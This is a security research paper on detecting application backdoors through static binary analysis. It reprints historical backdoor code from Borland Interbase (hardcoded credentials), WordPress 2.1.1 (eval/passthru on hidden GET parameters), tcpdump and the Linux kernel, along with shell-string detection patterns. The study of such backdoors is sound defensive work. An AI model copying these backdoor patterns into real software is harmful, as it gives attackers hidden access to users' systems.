

Chris Wysopal, Chris Eng, Tyler Shields

Static Detection of Application Backdoors

Detecting both malicious software behavior and malicious indicators from the static analysis of executable code

Backdoors in legitimate software, whether maliciously inserted or carelessly introduced, are a risk that should be detected prior to the affected software or system being deployed. Automated static analysis of executable code can detect many classes of malicious behavior. This paper will cover the techniques that can be employed to detect special credentials, hidden commands, information leakage, rootkit behavior, anti-debugging, and time bombs.



Chris Wysopal

CTO and Co-Founder of Veracode. He is vulnerability researcher and the author of „The

Art of Software Security Testing“
E-Mail: cwysopal@Veracode.com



Chris Eng

Senior Director of Research at Veracode. He is responsible for integrating security expertise

and prioritize the security feature set of Veracode's service offerings.

E-Mail: ceng@Veracode.com



Tyler Shields

Senior Researcher for the Veracode Research Team whose responsibilities include understanding and ex-aminig security and attack methods for integration into the Veracode products.

E-Mail: tshields@Veracode.com

Introduction

Backdoors in legitimate software, whether maliciously inserted or carelessly introduced, are a risk that should be detected prior to the affected software or system being deployed. We call software and devices that come with malicious functionality built in, "Certified Pre-Owned".

Modern static analysis methods can detect many classes of common vulnerabilities. Static analyzers do this by building a semantic model of the software which typically includes control flow and data flow graphs. This model is then scanned for patterns that typically lead to vulnerabilities such as buffer overflows. Static analysis methods can also be targeted at detecting code that offers backdoor functionality to an attacker who knows of its existence. Binary static analysis has the powerful capability of being able to use static analysis techniques when source code is not available, which is the typical case when a consumer is concerned about detecting a backdoor in a product they have purchased.

Special credentials, hidden commands, and unintended information leakage are a few of the types of application backdoors that have been discovered in commercial and open source software. Rules can be created for a static analyzer to inspect for these patterns. Rules can also be created that inspect for evidence that someone is hiding functionality in software by look-

ing for rootkit behavior and anti-debugging functionality. If the analyzer finds these "anti-reverse engineering" patterns, further inspection should be performed to determine what the software is hiding.

Technical Summary

Backdoors are a method of bypassing authentication or other security controls in order to access a computer system or the data contained on that system. Backdoors can exist at the system level, in a cryptographic algorithm, or within an application. We have concentrated on application backdoors which are embedded within the code of a legitimate application. We define application backdoors as versions of legitimate software modified to bypass security mechanisms under certain conditions. These legitimate programs are meant to be installed and running on a system with the full knowledge and approval of the system operator. Application backdoors can result in the compromise of the data and transactions performed by an application. They can also result in system compromise.

Application backdoors are often inserted in the code by someone who has legitimate access to the code. Other times the source code or binary to an application is modified by someone who has compromised the system where the source code is maintained or the binary is distributed.

Another method of inserting an application backdoor is to subvert the compiler, linker, or other components in the development tool chain used to create the application binary from the source code.

Application backdoors are best detected by inspecting the source code or statically inspecting the binary. It is impossible to detect most types of application backdoors dynamically because they use secret data or functionality that cannot be dynamically inspected for.

Application backdoor analysis is imperfect. It is impossible to determine the intent of all application logic. Well known backdoor mechanisms can be heavily obfuscated and novel mechanisms can certainly be employed. Another angle of detection is to look for signs that the malicious actor is trying to hide their tracks with rootkit behavior, anti-debugging and/or code and data obfuscation techniques.

In the past, backdoors in source code have been detected quickly but backdoors in binaries often survive detection for years. The Linux kernel “uid=0” backdoor attempt was quickly discovered but the Borland Interbase backdoor lasted for many years until the software was open sourced. For compiled software, a subverted development tool chain or compromised distribution site requires binary analysis for backdoor detection since the backdoor only exists after compilation or linking. In addition, modern development practices often dictate the usage of frameworks and libraries where only binary code is available. When backdoor reviews are performed at the source code level there are still significant portions of software that are not getting reviewed. For these reasons we have chosen to implement our static detection techniques on binary executables.

By researching backdoors that have been discovered, it is possible to create rules for a static analyzer to inspect for backdoor behavior. An example is a “special credential” back door. This is when the software has a special username, password, password hash, or key that is embedded within the software. If an attacker knows that special credential they can authenticate to the software no matter what the contents of the authentication store. The static analyzer can inspect the crypto functions that are used by the authentication routine and the data flow graph that connects to these function calls. A special

credential can be detected by looking for static or computed values that do not come from the authentication store yet allow authentication.

There are several categories of application backdoors which can be detected using automated static analysis:

- Special credentials
 - Unintended network activity
 - Deliberate information leakage
- Other constructions in the code that indicate that a backdoor or other malicious code is present can also be detected statically. These include:
- Embedded Shell Commands
 - Time Bombs
 - Rootkit-like Behavior
 - Code or Data Anomalies
 - Self-modifying Code
 - Anti-debugging

The design of a static binary analyzer to detect the preceding consists of the following processes:

1. Platform-Specific Front End – Prepare all symbol information, procedures, environments, types, and other platform-specific information for disassembly and transform.
2. Data Flow Transformer – Disassemble and import code. Convert low-level register accesses into high-level variables. Convert references to variable memory locations into high level alias form. Propagate type information.
3. Optimization – Reduce complexity of code by performing pattern-based and dataflow-based reductions, propagations, substitutions and simplifications.
4. Control Flow Transformer – Reconstruct high-level control flow from low-level jumps and conditionals. Transform ‘if/else’, ‘while/do/for’, ‘goto’, ‘try/throw/catch’, ‘switch’.
5. Scan Process – Inspect the semantic model of the software for certain constructs such as vulnerabilities, weaknesses, and backdoors.
6. Reporting – Generate report of defects with their location in the code.

Backdoor Detection Techniques

Special Credentials

Special credential backdoors are a class of application backdoor where the attacker inserts logic and special credentials into the program code. The special credentials

are in the form of a special username, password, password hash, or key. The logic is a comparison to the special credential or logic that inserts the special credential into the designed credential store. An obfuscation technique for this class of backdoor is to compute the special credential from other data, either static or unique to the application installation [5].

Example: Borland Interbase 4.0, 5.0, 6.0 was discovered to have a special credential backdoor in 2001 shortly after the software was open sourced. The special credentials, username “politically” and password “correct”, were inserted into the credential table at program startup. The support for user defined functions in the software equated this backdoor access with system access. The backdoor went undetected for seven years.

The following is the Borland Interbase backdoor code:

```
dpb = dpb_string;
*dpb++ = gds__dpb_version1;
*dpb++ = gds__dpb_user_name;
*dpb++ = strlen (LOCKSMITH_US-
ER);
q = LOCKSMITH_USER;
while (*q) *dpb++ = *q++;

*dpb++ = gds__dpb_password_
enc;
strcpy (password_enc,
(char *)ENC_crypt(LOCKSMITH_
PASSWORD, PASSWORD_SALT));
q = password_enc + 2;
*dpb++ = strlen (q);
while (*q) *dpb++ = *q++;

dpb_length = dpb - dpb_string;

isc_attach_database (status_
vector, 0,
GDS_VAL(name), &DB, dpb_
length,
dpb_string);
```

A static analysis technique that would indicate that there may be a backdoor in this example would be to inspect for usage of the password crypt function that operated on static data.

Additional examples of backdoors that use special credentials are [5], [6], and [7].

Detection Strategies: Identify static variables that look like usernames or passwords. Start with all static strings using the ASCII character set. Focus on string comparisons as opposed to assignments or

placeholders. Also inspect known crypto API calls where these strings are passed in as plaintext data.

Identify static variables that look like hashes. Start with all static strings using the character set [0-9A-Fa-f]. Narrow down to strings that correspond to lengths of known hash algorithms such as MD5 (128 bits) or SHA1 (160 bits). Focus on string comparisons as opposed to assignments or placeholders. Examine cross-references to these strings.

Identify static variables that look like cryptographic keys. Start with all static character arrays declared or dynamically allocated to a valid key length. Also identify static character arrays that are a multiple of a valid key length, which could be a key table. Narrow down to known crypto API calls where these arrays are passed in as the key parameter, for example in OpenSSL:

```
DES_set_key(const DES_cblock
*key, DES_key_schedule *schedule)
```

Or in BSAFE:

```
B_SetKeyInfo(B_KEY_OBJ
keyObject, B_INFO_TYPE
infoType, POINTER info)
```

Perform a statistical test for randomness on static variables. Data exhibiting high entropy may be encrypted data or key material and should be inspected further [8] [9].

Hidden Functionality

Hidden functionality backdoors allow the attacker to issue commands or authenticate without performing the designed authentication procedure. Hidden functionality backdoors often use special parameters to trigger special logic within the program that shouldn't be there. In web applications these special parameters are often invisible parameters for web requests (not to be confused with hidden fields). Other hidden functionality includes undocumented commands or left over debug

code. Hidden functionality is sometimes combined with a check for a special IP on the command issuer side so that there is some protection against everyone using the backdoor.

Example: In 2007 WordPress 2.1.1 was backdoored [10]. A WordPress distribution server was compromised and the distribution modified to add a backdoor. Two PHP files were modified to allow remote command injection through a hidden parameter in a web request. The modification was detected within one week.

Shown below are the relevant portions of the PHP code that were inserted. It reads the values of two parameters, "ix" and "iz", from the web request and passes those values into one of two built-in PHP functions, eval() or passthru(). The eval() function processes the input string as PHP code while passthru() executes a system command.

```

function comment_text_
phpfilter($filterdata) {
    eval($filterdata);
}
...
if ($_GET[„ix“]) { comment_
text_phpfilter($_GET[„ix“]); }

function get_theme_mcommand
($mcmds) { passthru($mcmds);
}
...
if ($_GET[„iz“]) { get_theme_
mcommand($_GET[„iz“]); }

```

A technique for discovering this particular backdoor is no different than inspecting code for command injection vulnerabilities. First inspect for functions that call the operating system command shell and then make sure no unfiltered user input is passed to the function.

Additional examples of backdoors that use hidden functionality are [11], [12], [13], and [14].

Detection Strategies: Recognize common patterns in scripting languages: Create an obfuscated string, input into deobfuscation function (commonly Base64), call eval() on the result of the deobfuscation. Payload code often allows command execution or auth bypass.

The following Google Code Search query will locate this common PHP obfuscation technique:

```

http://www.google.com/codesearch
?hl=en&lr=&q=eval%5C%28base64_
decode+file%3A%5C.php%24&btnG=Search

```

Identify GET or POST parameters parsed by web applications then compare them to form fields in HTML and JSP pages to find fields that only appear on the server side.

Identify potential OS command injection vectors. In C, look for calls to the exec() family and system(). In PHP, use standard code review techniques such as looking for popen(), system(), exec(), shell_exec(), passthru(), eval(), backticks, fopen(), include(), or require(). Then analyze data flow to check for tainted parameters.

Identify static variables that look like application commands. Start with all static strings using the ASCII character set (depending on the protocol, hidden commands might not be human-readable text). Focus on string comparisons as opposed to assignments or placeholders. Check the main command processing loop(s) to see if it uses direct comparisons

or reads from a data structure containing valid commands.

Identify comparisons with specific IP addresses or DNS names. In C, start with all calls to socket API functions such as getpeername(), gethostbyname(), and gethostbyaddr(). Comparisons against the results of these functions are suspicious. Don't forget to look at ports as well.

Unintended Network Activity

Unintended network activity is a common characteristic of backdoors. This may involve a number of techniques, including listening on undocumented ports, making outbound connections to establish a command and control channel, or leaking sensitive information over the network via SMTP, HTTP, UDP, ICMP, or other protocols. Any of these behaviors may be combined with rootkit behavior in an attempt to hide the network activity from local detection.

Example: In 2002, a backdoor was inserted into the source code distribution of tcpdump [15], a common Unix-based network sniffer. The backdoor contained two components, an outbound command and control (C&C) channel in conjunction with a modification to the sniffer itself to hide selected packets. The C&C component was installed as a separate program that is compiled and executed as part of the build process. When run, it established a TCP connection to a hard-coded IP address on port 1963 and listened for commands, which were represented as single characters – “A” to kill itself, “D” to spawn a shell and redirect I/O over the socket, and “M” to sleep for one hour. The sniffer component modified tcpdump's gencode.c file to modify the traffic filter as shown below:

```

int l;
char *port = "1963";
char *str, *tmp, *new = "not port
1963";

if (buf && *buf && strstr (buf,
port)) {
    buf = "port 1964";
} else {
    l = strlen (new) + 1;
    if (!(!buf || !*buf)) {
        l += strlen (buf);
        l += 5; /* and */
    }
    str = (char *)malloc (l);

```

```

str[0] = '\0';
if (!(!buf || !*buf)) {
    strcpy (str, buf);
    strcat (str, " and ");
}
strcat (str, new);
buf = str;
}

```

This code inspects the user-supplied filter parameter and modifies it as follows. If the user has explicitly specified port 1963, the backdoor will modify the filter to sniff port 1964 instead. Otherwise, the string “and not port 1963” is appended to the user-selected filter. This is a crude technique and not particularly robust. For example, if the filter had been “port 1963 or port 80” it would be rewritten as “port 1964”, and it would be pretty obvious that something unusual was going on when no web traffic was captured.

This particular backdoor was atypical because the C&C component depended on the build process to install itself as a separate executable; however, the same functionality could have just as easily been embedded into the main tcpdump codebase.

Additional examples of backdoors that generate unintended network activity are [16], [17], and [18].

Detection Strategies: Backdoors that rely on network behavior are most commonly detected dynamically using various network utilities, both on the affected host and upstream. However, static detection is also possible if one understands the typical patterns of behavior. A benefit of static analysis for unintended network behavior detection is in cases where the backdoor only exhibits the behavior at certain times.

Identify inbound and outbound connections. Regardless of platform or language, there are usually a set of standard API functions responsible for handling network communications. For C/C++ programs on Unix platforms these reside in the libc package; Windows supports these as well but extends them with Win32-specific APIs. Start by identifying all locations in the codebase that call functions responsible for establishing connections or sending/receiving connectionless data, such as connect(), bind(), accept(), sendto(), listen() and recvfrom(). Once these calls have been identified, pay particular attention to any outbound network activity that reference a hard-coded IP address or port. For anything that looks sus-

picious, analyze the data flow to determine what type of information is being sent out. For inbound activity, some knowledge of the normal application traffic will be required to determine which ports are unauthorized listeners. A J2EE application server, for example, opens a number of ports for backend communication. Keep in mind that many applications have functionality built in to automatically check for updates, so seeing at least one hard-coded outbound connection is not uncommon.

Identify potential information leaks. In addition to the obvious step of examining filesystem and registry I/O, cryptographic APIs can be a useful starting point to identify locations where sensitive data may reside. Start by identifying all locations where known cryptographic APIs are used. For example, a program that uses the OpenSSL implementation of Blowfish should call `BF_set_key()` to initialize the encryption key and either `BF_cbc_encrypt()` or one of the other `BF_` functions to encrypt/decrypt data. Within these function calls, determine which parameters contain sensitive data such as keys or plaintext data. Then, analyze the data flows for these variables to locate other places in the code where they are referenced. Certain use cases are safe, for example, `strlen()`, `bzero()`, and `memset()`. However, if these pieces of data are passed into network functions or even file I/O, further exploration may be warranted.

Profile binaries by examining import tables. Source code may not always be available. However, it is still possible to apply static analysis techniques to understand the application profile. Compiled applications contain import tables which inform the process at run-time where to find the implementation of library functions. A variety of open-source or freeware tools can be used to parse import tables and display a list of the imported functions. Some popular tools are `readelf`, `objdump`, and `nm` on Unix platforms, or `PE-Dump` and `PEBrowse` on Windows platforms.

The purpose of profiling is simply to identify anomalies, such as the use of network APIs by an application that should be client-side only, such as a text editor. If anomalies are found, then proceed to analyze the binary in more depth, using a disassembler to trace the code paths to the suspicious calls.

Manipulation of Security-Critical Parameters

In any program, certain variables or parameters are more significant than others from a security standpoint. In operating system code, these could be parameters that assign certain privileges to a process, influence task scheduling, or restrict operations on memory pages. In application code, consider variables used to store the results of authentication or authorization functions, or other security mechanisms. By directly manipulating these parameters or introducing flawed logic to comparisons against them, an attacker may be able to disrupt the program in a way that is advantageous to someone who understands how to trigger it.

Example: In 2003, an attempt was made to backdoor the Linux 2.6 kernel [2]. The maintainers noticed and removed the backdoor before end users were ever affected. This was due in part to the fact that the attacker directly modified the CVS tree rather than committing a change via the usual mechanism. Even though the malicious code never made it to a shipping kernel, it provided valuable insight into a very subtle backdoor technique. The code snippet shown here is all that was added to the `sys_wait4()` function of `kernel/exit.c`:

```
if ((options == (_WCLONE|_WALL)) &&
    (current->uid = 0))
    retval = -EINVAL;
```

The intended functionality of the `wait4()` system call is to allow the caller to wait on a specified child process to change state. At first glance, this modification appears to simply abort the system call if the process has certain flags set and is running as root. However, upon closer examination, the second half of the conditional actually assigns `current->uid` to zero rather than comparing it with zero. As a result, the calling process is granted root privileges if it calls `wait4()` with the `_WCLONE` and `_WALL` options set.

Detection: This is a difficult category to detect, partly due to the vast number of security-critical parameters to consider. One technique would be to create a list of these “interesting” variables and examine each and every reference. However, this is likely to be too time-consuming. It may make more sense to focus on known be-

havioral patterns rather than the variables themselves.

Take the Linux backdoor attempt as an example. In order to be subtle, the attacker disguised a backdoor as a common programming flaw, using an assign instead of a compare. Static analysis could be used to identify all instances of this behavior and then inspect each one manually. The scan would need to be tuned to take into account situations where an assignment within a conditional is intended, since this is a common idiom in C/C++. For example:

```
if ((foo == 1) && (bar = malloc
    (BAR_SIZE)) {do_something_
    useful();
}
```

In this case, the assignment in the conditional is used to check the return value of `malloc()`, which is `NULL` on failure. The scan could be refined by only flagging conditionals contains an assignment where the right-hand side is either a constant or a function that always returns the same value.

It could also be useful to examine logic expressions in security-critical sections or expressions that reference security-related API calls. Short-circuited compound conditionals or expressions that always evaluate to the same value should be examined in more detail. An example of the latter case, as seen in a recent vulnerability in the X.Org Window Server [19], is shown here:

```
if (getuid() == 0 || geteuid != 0)
{
    if (!strcmp(argv[i],
        "-modulepath")) {
        /* allow arbitrary
        modules */
    }
}
```

While the intention of the conditional is to only process the `-modulepath` option if the user is root or the process is running as a non-root user, the expression is flawed because it uses the `geteuid` function pointer rather than the return value of `geteuid()`. This is a scenario where the second half of the expression would always evaluate to true because the `geteuid` function would never be loaded at memory address 0. It is likely that this example was an implementation vulnerability rather than a backdoor, though there is no way to be certain.

Interestingly, both the Linux kernel and X.Org examples should be detectable by

relatively unsophisticated source code scanners. In fact, they may even be flagged by the compiler, if warnings are not suppressed.

Additional Detection Techniques

There are a number of other suspicious behaviors that may be indicative of application backdoors but either do not fall into any of the previously described categories or could potentially span multiple categories. These may include embedded shell commands, time bombs, rootkit-like behavior, self-modifying code, code or data anomalies, and Linux-specific network filters.

Embedded Shell Commands

This is an obvious technique but surprisingly effective. Simply grep through source files or run 'strings' or a similar utility against the compiled binary to locate any hard-coded instances of ASCII strings such as "/bin/sh", "/bin/ksh", "/bin/csh", etc. One benefit of scanning the binary in this case is that character arrays are more readable. Consider this fragment of source code:

```
static char cmd[] =
    "\x2f\x62\x69\x6e"
    "\x2f\x73\x68";
```

When the hex characters are interpreted, the string is simply "/bin/sh". However, a scan of source code might not pick this up if it was searching for the ASCII representation. Other methods of hiding embedded command strings from the casual observer include simple obfuscation such as Base64, Uencode, ROT-N, or XOR.

Looking for Backdoor Indicators

Backdoor indicators are evidence that the software is trying to hide its behavior from dynamic run time detection.

Three categories of backdoor indicators that are designed to evade detection by run time analysis are rootkit behavior, anti-debugging, and time bombs. Rootkit behavior modifies the operations of the operating system the software is running on so that instrumentation and system administration tools cannot detect the backdoor functionality. An example of rootkit

behavior is a backdoor that opens up a network port listening for incoming connections and also modifies the OS functions that list listening network ports. Anti-debugging is an approach that makes run-time inspection of the running code difficult. If the backdoored software can stop a debugger from single stepping through the code or inspecting internal data structures it makes it difficult to determine if the software has unwanted backdoor functionality at execution time. Time bombs thwart dynamic analysis by triggering malicious behavior at a particular absolute time such as on the 15th day of the month or on an interval such as weekly. Dynamic analysis has to occur over an exceedingly long period to detect a time bomb.

One of the solutions to this challenge we propose is to look directly for the code that implements the anti-debugging, rootkit behavior, or time bomb using static analysis.

Rootkit Behavior

The following are some common techniques that rootkits use to hide their behavior from the instrumentation a reverse engineer or system administrator might use. These techniques include: DLL injection, IAT hooking, and Inline function hooking. A scan rule can be created for each coding patterns such that a static analyzer can search for the pattern in the code.

DLL Injection can be used for many legitimate purposes; however its usage is a red flag that should cause the application metadata to be analyzed. If the scanned application is intended to inject DLLs into external processes then there is a chance these are false positive returns; however if the scanned application should not be executing DLL injection of any manner, positive hits on these scan tests are highly likely to be indicative of a rootkit or subversive function. The following are some techniques of DLL injection that can be detected:

- ◆ Via the Registry
 - ◆ Using Windows Hooks
 - ◆ Using Remote Threads
 - ◆ Thread Suspend and Hijack
 - ◆ IAT Hooking
 - ◆ Inline Function Hooking
- [20][21][22][23][24][25][26]

Anti-Debugging

Anti-debugging is the implementation of one or more techniques within computer code that hinders attempts at reverse engineering or debugging a target binary. These techniques are used by commercial executable protectors, packers, and malicious software, to prevent or slow-down the process of reverse-engineering. Scans can be implemented for generic and targeted anti-debugging and anti-tracing techniques.

The most straightforward method of anti-debugging uses operating system provided API functions to determine the existence or operation of a debugger. Some of the API calls are documented features provided by the operating system itself, while others are unpublished functions that can be linked at runtime from various system DLL files. Other anti-debugging techniques that can be scanned for include:

- ◆ FindWindow
 - ◆ Debugger Registry Key Detection
 - ◆ ProcessDebugPort Detection
 - ◆ Debugger Detaching
 - ◆ Self-Debugging
 - ◆ ProcessDebugFlags
 - ◆ ProcessDebugObjectHandle
 - ◆ INT 2D Debugger Detection
 - ◆ INT3 Exception Detection
 - ◆ Single Step Detection
 - ◆ Ctrl-C Vectored Exception Handling
 - ◆ ICE Breakpoint 0xF1
 - ◆ VMware Detection
- [27][28][29][30][31]

Time Bombs

A time bomb or logic bomb may be used by a backdoor to initiate a malicious action at a certain time, or when certain conditions are met. Time bombs can usually be detected by examining calls to standard date/time API functions, such as time(), ctime(), gmtime(), localtime(), or their thread-safe variants. Again, the Win32 and other platform APIs provide a number of additional date/time functions. Once calls to these functions have been identified, analyze how the results are being used to determine if certain values result in different code paths.

Keep in mind that most of the time, these functions will be called for either logging purposes, execution time calculations, or simply to generate protocol timestamps. For example, HTTP includes the

current system time in every server-generated response. It is branching based on the absolute time or a time difference that is suspicious.

Conclusion

Application backdoors do not require much sophistication to create and there is ample motivation for bad actors to create them. Backdoors are trivial to exploit once the word gets out so response must be very quick. The negative reputation impact to the vendor of the effected software is often much higher than the negative impact from a typical vulnerability. A vulnerability is perceived as a mistake but losing control of one's development or distribution environment is thought to be incompetence.

The list of techniques a programmer can use to hide from runtime analysis continues to grow as new methods are found over time. Like most areas of security research this is a classic cat and mouse game. Rootkit techniques are a fertile ground of research and new operating systems and VMs give additional debugging opportunities that the ant-reverse engineer will want to thwart. The list is long and growing. However, when a new technique is discovered it is relatively easy to add a scan or check for the pattern with a rules based static analyzer. Binary static analysis is up to the task of looking for the tell tale signs that a program is trying to hide its behavior from a reverse engineer which is often a tip off that something unwanted is hidden in the software.

These factors add up to a need for software developers to become apprised of backdoor techniques and to expend resources on backdoor detection. We recommend that developers scan the code they are developing or maintaining before release. Binary code, whether a standalone application or a library that is linked into an application should be scanned for backdoors as part of the acceptance testing process. Finally, as no discussion of backdoors would be complete without following the advice of Ken Thompson's classic paper, "Reflections on Trusting Trust" [1], scan your binaries using an independent trusted scanner as not only your tool chain

could be compromised but your scanner as well.

References

- [1] Thompson, Ken, "Reflections on Trusting Trust", *Communication of the ACM* Vol. 27, No. 8, <http://www.acm.org/classics/sep95/>, Sep. 1995.
- [2] Andrews, Jeremy, "Linux: Kernel ,Back Door' Attempt", *KernelTrap*, <http://kerneltrap.org/node/1584>, Nov. 2003.
- [3] Poulsen, Kevin, "Borland Interbase backdoor exposed", *The Register*, http://www.theregister.co.uk/2001/01/12/borland_interbase_backdoor_exposed, Jan. 2001.
- [4] Reifer Consultants presentation at Oct 2007 DHS SwA Forum
- [5] Oblivion, Brian, "NetStructure 7110 console backdoor", *Bugtraq mailing list*, <http://seclists.org/bugtraq/2000/May/0114.html>, May 2000.
- [6] Cerberus Security Team, "Cart32 secret password backdoor", *Neohapsis Archives*, <http://archives.neohapsis.com/archives/win2ksecadvice/2000-q2/0048.html>, Apr. 2000.
- [7] Tarbatt, Dave, "APC 9606 SmartSlot Web/ SNMP Management Card Backdoor", *SecuriTeam Security News*, <http://www.securiteam.com/securitynews/5MP0E2ACOM.html>, Feb. 2004.
- [8] Lyda, Robert et al, "Using Entropy Analysis to Find Encrypted and Packed Malware", *IEEE Security and Privacy*, <http://csdl2.computer.org/pressagen/DLabsToc.jsp?resourcePath=/dl/mags/sp/&toc=comp/mags/sp/2007/02/j2toc.xml&DOI=10.1109/MSP.2007.48>, Apr. 2007.
- [9] Carrera, Ero, "Scanning data for entropy anomalies", *nzight blog*, <http://blog.dkbza.org/2007/05/scanning-data-for-entropy-anomalies.html>, May 2007.
- [10] Boren, Ryan, "WordPress source code compromised to enable remote code execution", *LWN.net*, <http://lwn.net/Articles/224999/>, Mar. 2007.
- [11] US-CERT, "CERT® Advisory CA-1994-14 Trojan Horse in IRC Client for UNIX", *US-CERT Vulnerability Database*, <http://www.cert.org/advisories/CA-1994-14.html>, Oct. 1994.
- [12] Heise Security News, "Backdoor in Artmedic CMS", <http://www.heise-security.co.uk/news/89835>, May 2007.
- [13] Zielinski, Mark, "ID games Backdoor in quake", *insecure.org*, <http://insecure.org/sploits/quake.backdoor.html>, May 1998.
- [14] Various, "TCP Wrapper Backdoor Vulnerability", *Security Focus*, <http://www.securityfocus.com/bid/118/discuss>, Jan. 1999.
- [15] Various, "Latest libpcap & tcpdump sources from tcpdump.org contain a Trojan", *Houston Linux Users Group*, <http://www.hlug.org/trojan/>, Nov. 2002.
- [16] Ercoli, Luca, "Etomite Content Management System security advisory", <http://www.lucaercoli.it/advs/etomite.txt>, Jan. 2006.
- [17] US-CERT, "CERT® Advisory CA-2002-24 Trojan Horse OpenSSH Distribution", *US-CERT Vulnerability Database*, <http://www.cert.org/advisories/CA-2002-24.html>, Aug. 2002.
- [18] Song, Dug, "Trojan/backdoor in fragroute 1.2 source distribution", *Virus.Org Mailing List Archive*, <http://lists.virus.org/bugtraq-0205/msg00276.html>, May 2002.
- [19] Various, "X.Org X Window Server Local Privilege Escalation Vulnerability", *Security Focus*, <http://www.securityfocus.com/archive/1/archive/1/428183/100/0/threaded>, Mar. 2006.
- [20] Marsh, Kyle, "Win32 Hooks", *Microsoft Developer Network*, <http://msdn2.microsoft.com/en-us/library/ms997537.aspx>, Feb. 1994.
- [21] Ivanov, Ivo, "API Hooking Revealed", *The Code Project*, <http://www.codeproject.com/system/hooks.asp>, Dec. 2002.
- [22] SysSpider, "The Win32 API For Hackers", <http://sysspider.vectorstar.net/papers/api4hackers.txt>, unknown date.
- [23] Butler, James, "VICE – Catch the Hookers", *BlackHat USA 2004*, <http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/bh-us-04-butler.pdf>, Aug. 2004.
- [24] Kruegel, Christopher et al, "Detecting Kernel-Level Rootkits Through Binary Analysis", *20th Annual Computer Security Applications Conference*, <http://www.cs.ucsb.edu/~wkr/publications/acsac04lkrm.pdf>, May 2004.
- [25] Bioforge, "Hacking the Linux Kernel Network Stack", *Phrack Magazine Issue 61*, <http://www.phrack.org/issues.html?issue=61&id=13>, Aug. 2003.
- [26] Rutkowska, Joanna, "Linux Kernel Backdoors And Their Detection", *IT Underground 2004*, http://invisiblethings.org/papers/ITUnderground2004_Linux_kernel_backdoors.ppt, Oct. 2004.
- [27] Danny Quist and Val Smith, <http://www.offensivecomputing.net/files/active/0/vm.pdf>
- [28] Josh Jackson, <http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx>, Nov. 2008
- [29] Nicolas Falliere, <http://www.securityfocus.com/infocus/1893>, Sept. 2007
- [30] Michael N. Gagnon et al, <http://ieeexplore.ieee.org/Xplore/login.jsp?url=/iel5/8013/4218538/04218560.pdf?temp=x>, June 2007
- [31] Nicolas Brulez, http://www.codebreakers-journal.com/downloads/cbj/2005/CBJ_2_1_2005_Brulez_Anti_Reverse_Engineering_Uncovered.pdf, March 2005